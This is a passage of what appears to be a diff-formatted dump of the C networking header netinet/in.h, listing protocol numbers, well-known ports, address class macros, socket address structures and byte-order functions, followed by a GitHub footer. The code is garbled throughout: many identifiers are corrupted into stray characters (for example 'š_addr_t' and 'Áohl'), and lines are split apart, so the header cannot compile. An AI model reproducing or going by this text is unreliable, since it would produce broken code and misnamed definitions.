+ #IPPROTO_ENCAP
+
+IPPROTO_ENCAP
+
+
+ )
+
+82
+ mIPPROTO_PIM
+ = 103,
+
+83 
+ #IPPROTO_PIM
+
+IPPROTO_PIM
+
+
+ )
+
+84
+ mIPPROTO_COMP
+ = 108,
+
+85 
+ #IPPROTO_COMP
+
+IPPROTO_COMP
+
+
+ )
+
+86
+ mIPPROTO_SCTP
+ = 132,
+
+87 
+ #IPPROTO_SCTP
+
+IPPROTO_SCTP
+
+
+ )
+
+88
+ mIPPROTO_UDPLITE
+ = 136,
+
+89 
+ #IPPROTO_UDPLITE
+
+IPPROTO_UDPLITE
+
+
+ )
+
+90
+ mIPPROTO_RAW
+ = 255,
+
+91 
+ #IPPROTO_RAW
+
+IPPROTO_RAW
+
+
+ )
+
+92
+ mIPPROTO_MAX
+
+
+97 +ušt16_t
+
+ tš_pÜt_t
+;
+
+102
+ mIPPORT_ECHO
+ = 7,
+
+103
+ mIPPORT_DISCARD
+ = 9,
+
+104
+ mIPPORT_SYSTAT
+ = 11,
+
+105
+ mIPPORT_DAYTIME
+ = 13,
+
+106
+ mIPPORT_NETSTAT
+ = 15,
+
+107
+ mIPPORT_FTP
+ = 21,
+
+108
+ mIPPORT_TELNET
+ = 23,
+
+109
+ mIPPORT_SMTP
+ = 25,
+
+110
+ mIPPORT_TIMESERVER
+ = 37,
+
+111
+ mIPPORT_NAMESERVER
+ = 42,
+
+112
+ mIPPORT_WHOIS
+ = 43,
+
+113
+ mIPPORT_MTP
+ = 57,
+
+115
+ mIPPORT_TFTP
+ = 69,
+
+116
+ mIPPORT_RJE
+ = 77,
+
+117
+ mIPPORT_FINGER
+ = 79,
+
+118
+ mIPPORT_TTYLINK
+ = 87,
+
+119
+ mIPPORT_SUPDUP
+ = 95,
+
+122
+ mIPPORT_EXECSERVER
+ = 512,
+
+123
+ mIPPORT_LOGINSERVER
+ = 513,
+
+124
+ mIPPORT_CMDSERVER
+ = 514,
+
+125
+ mIPPORT_EFSSERVER
+ = 520,
+
+128
+ mIPPORT_BIFFUDP
+ = 512,
+
+129
+ mIPPORT_WHOSERVER
+ = 513,
+
+130
+ mIPPORT_ROUTESERVER
+ = 520,
+
+133
+ mIPPORT_RESERVED
+ = 1024,
+
+136
+ mIPPORT_USERRESERVED
+ = 5000
+
+141 +ušt32_t
+
+ tš_addr_t
+;
+
+142 
+ sš_addr
+
+
+144
+š_addr_t
+
+ ms_addr
+;
+
+153 
+ #IN_CLASSA
+(
+a
+è((((
+š_addr_t
+)×)è& 0x80000000è=ð0)
+
+ )
+
+154 
+ #IN_CLASSA_NET
+ 0xff000000
+
+ )
+
+155 
+ #IN_CLASSA_NSHIFT
+ 24
+
+ )
+
+156 
+ #IN_CLASSA_HOST
+ (0xfffffffà& ~
+IN_CLASSA_NET
+)
+
+ )
+
+157 
+ #IN_CLASSA_MAX
+ 128
+
+ )
+
+159 
+ #IN_CLASSB
+(
+a
+è((((
+š_addr_t
+)×)è& 0xc0000000è=ð0x80000000)
+
+ )
+
+160 
+ #IN_CLASSB_NET
+ 0xffff0000
+
+ )
+
+161 
+ #IN_CLASSB_NSHIFT
+ 16
+
+ )
+
+162 
+ #IN_CLASSB_HOST
+ (0xfffffffà& ~
+IN_CLASSB_NET
+)
+
+ )
+
+163 
+ #IN_CLASSB_MAX
+ 65536
+
+ )
+
+165 
+ #IN_CLASSC
+(
+a
+è((((
+š_addr_t
+)×)è& 0xe0000000è=ð0xc0000000)
+
+ )
+
+166 
+ #IN_CLASSC_NET
+ 0xffffff00
+
+ )
+
+167 
+ #IN_CLASSC_NSHIFT
+ 8
+
+ )
+
+168 
+ #IN_CLASSC_HOST
+ (0xfffffffà& ~
+IN_CLASSC_NET
+)
+
+ )
+
+170 
+ #IN_CLASSD
+(
+a
+è((((
+š_addr_t
+)×)è& 0xf0000000è=ð0xe0000000)
+
+ )
+
+171 
+ #IN_MULTICAST
+(
+a
+ `IN_CLASSD
+×)
+
+ )
+
+173 
+ #IN_EXPERIMENTAL
+(
+a
+è((((
+š_addr_t
+)×)è& 0xe0000000è=ð0xe0000000)
+
+ )
+
+174 
+ #IN_BADCLASS
+(
+a
+è((((
+š_addr_t
+)×)è& 0xf0000000è=ð0xf0000000)
+
+ )
+
+177 
+ #INADDR_ANY
+ ((
+š_addr_t
+è0x00000000)
+
+ )
+
+179 
+ #INADDR_BROADCAST
+ ((
+š_addr_t
+è0xffffffff)
+
+ )
+
+181 
+ #INADDR_NONE
+ ((
+š_addr_t
+è0xffffffff)
+
+ )
+
+184 
+ #IN_LOOPBACKNET
+ 127
+
+ )
+
+186 #iâdeà
+INADDR_LOOPBACK
+
+
+187 
+ #INADDR_LOOPBACK
+ ((
+š_addr_t
+è0x7f000001è
+
+ )
+
+191 
+ #INADDR_UNSPEC_GROUP
+ ((
+š_addr_t
+è0xe0000000è
+
+ )
+
+192 
+ #INADDR_ALLHOSTS_GROUP
+ ((
+š_addr_t
+è0xe0000001è
+
+ )
+
+193 
+ #INADDR_ALLRTRS_GROUP
+ ((
+š_addr_t
+è0xe0000002è
+
+ )
+
+194 
+ #INADDR_MAX_LOCAL_GROUP
+ ((
+š_addr_t
+è0xe00000ffè
+
+ )
+
+198 
+ sš6_addr
+
+
+202
+ušt8_t
+
+ m__u6_addr8
+[16];
+
+203 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+204
+ušt16_t
+
+ m__u6_addr16
+[8];
+
+205
+ušt32_t
+
+ m__u6_addr32
+[4];
+
+207 }
+ m__š6_u
+;
+
+208 
+ #s6_addr
+
+__š6_u
+.
+__u6_addr8
+
+
+ )
+
+209 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+210 
+ #s6_addr16
+
+__š6_u
+.
+__u6_addr16
+
+
+ )
+
+211 
+ #s6_addr32
+
+__š6_u
+.
+__u6_addr32
+
+
+ )
+
+215
cÚ¡ 
+š6_addr
+
+š6addr_ªy
+;
+
+216
cÚ¡ 
+š6_addr
+
+š6addr_loÝback
+;
+
+217 
+ #IN6ADDR_ANY_INIT
+ { { { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 } } }
+
+ )
+
+218 
+ #IN6ADDR_LOOPBACK_INIT
+ { { { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 } } }
+
+ )
+
+220 
+ #INET_ADDRSTRLEN
+ 16
+
+ )
+
+221 
+ #INET6_ADDRSTRLEN
+ 46
+
+ )
+
+225 
+ ssockaddr_š
+
+
+227
+__SOCKADDR_COMMON
+ (
+sš_
+);
+
+228
+š_pÜt_t
+
+ msš_pÜt
+;
+
+229 
+š_addr
+
+ msš_addr
+;
+
+232 
+ msš_z”o
+[ (
+sockaddr
+) -
+
+233
+__SOCKADDR_COMMON_SIZE
+ -
+
+234  (
+š_pÜt_t
+) -
+
+235  (
+š_addr
+)];
+
+239 
+ ssockaddr_š6
+
+
+241
+__SOCKADDR_COMMON
+ (
+sš6_
+);
+
+242
+š_pÜt_t
+
+ msš6_pÜt
+;
+
+243
+ušt32_t
+
+ msš6_æowšfo
+;
+
+244 
+š6_addr
+
+ msš6_addr
+;
+
+245
+ušt32_t
+
+ msš6_scÝe_id
+;
+
+249 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+251 
+ s_m»q
+
+
+254 
+š_addr
+
+ mimr_muɟddr
+;
+
+257 
+š_addr
+
+ mimr_š‹rçû
+;
+
+260 
+ s_m»q_sourû
+
+
+263 
+š_addr
+
+ mimr_muɟddr
+;
+
+266 
+š_addr
+
+ mimr_š‹rçû
+;
+
+269 
+š_addr
+
+ mimr_sourûaddr
+;
+
+275 
+ sv6_m»q
+
+
+278 
+š6_addr
+
+ mv6mr_muɟddr
+;
+
+281 
+ mv6mr_š‹rçû
+;
+
+285 #ià
+defšed
+
+__USE_MISC
+ || defšed
+__USE_GNU
+
+
+287 
+ sgroup_»q
+
+
+290
+ušt32_t
+
+ mgr_š‹rçû
+;
+
+293 
+sockaddr_¡Üage
+
+ mgr_group
+;
+
+296 
+ sgroup_sourû_»q
+
+
+299
+ušt32_t
+
+ mg¤_š‹rçû
+;
+
+302 
+sockaddr_¡Üage
+
+ mg¤_group
+;
+
+305 
+sockaddr_¡Üage
+
+ mg¤_sourû
+;
+
+310 
+ s_msfž‹r
+
+
+313 
+š_addr
+
+ mimsf_muɟddr
+;
+
+316 
+š_addr
+
+ mimsf_š‹rçû
+;
+
+319
+ušt32_t
+
+ mimsf_fmode
+;
+
+322
+ušt32_t
+
+ mimsf_num¤c
+;
+
+324 
+š_addr
+
+ mimsf_¦i¡
+[1];
+
+327 
+ #IP_MSFILTER_SIZE
+(
+num¤c
+è( (
+_msfž‹r
+) \
+
+328 -  (
+š_addr
+) \
+
+329 + (
+num¤c
+è*  (
+š_addr
+))
+
+ )
+
+331 
+ sgroup_fž‹r
+
+
+334
+ušt32_t
+
+ mgf_š‹rçû
+;
+
+337 
+sockaddr_¡Üage
+
+ mgf_group
+;
+
+340
+ušt32_t
+
+ mgf_fmode
+;
+
+343
+ušt32_t
+
+ mgf_num¤c
+;
+
+345 
+sockaddr_¡Üage
+
+ mgf_¦i¡
+[1];
+
+348 
+ #GROUP_FILTER_SIZE
+(
+num¤c
+è( (
+group_fž‹r
+) \
+
+349 -  (
+sockaddr_¡Üage
+) \
+
+350 + ((
+num¤c
+) \
+
+351 *  (
+sockaddr_¡Üage
+)))
+
+ )
+
+356 
+ ~<b™s/š.h
+>
+
+365
+ušt32_t
+
+ $Áohl
+ (
+ušt32_t
+
+__ÎÚg
+__THROW
+
+ `__©Œibu‹__
+ ((
+__cÚ¡__
+));
+
+366
+ušt16_t
+
+ $Áohs
+ (
+ušt16_t
+
+__ÃtshÜt
+)
+
+367
+__THROW
+
+ `__©Œibu‹__
+ ((
+__cÚ¡__
+));
+
+368
+ušt32_t
+
+ $htÚl
+ (
+ušt32_t
+
+__ho¡lÚg
+)
+
+369
+__THROW
+
+ `__©Œibu‹__
+ ((
+__cÚ¡__
+));
+
+370
+ušt16_t
+
+ $htÚs
+ (
+ušt16_t
+
+__ho¡shÜt
+)
+
+371
+__THROW
+
+ `__©Œibu‹__
+ ((
+__cÚ¡__
+));
+
+373 
+ ~<’dŸn.h
+>
+
+376 
+ ~<b™s/by‹sw­.h
+>
+
+378 #ifdeà
+__OPTIMIZE__
+
+
+382 #ià
+__BYTE_ORDER
+ =ð
+__BIG_ENDIAN
+
+
+385 
+ #Áohl
+(
+x
+è(x)
+
+ )
+
+386 
+ #Áohs
+(
+x
+è(x)
+
+ )
+
+387 
+ #htÚl
+(
+x
+è(x)
+
+ )
+
+388 
+ #htÚs
+(
+x
+è(x)
+
+ )
+
+390 #ià
+__BYTE_ORDER
+ =ð
+__LITTLE_ENDIAN
+
+
+391 
+ #Áohl
+(
+x
+ `__bsw­_32
+ (x)
+
+ )
+
+392 
+ #Áohs
+(
+x
+ `__bsw­_16
+ (x)
+
+ )
+
+393 
+ #
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment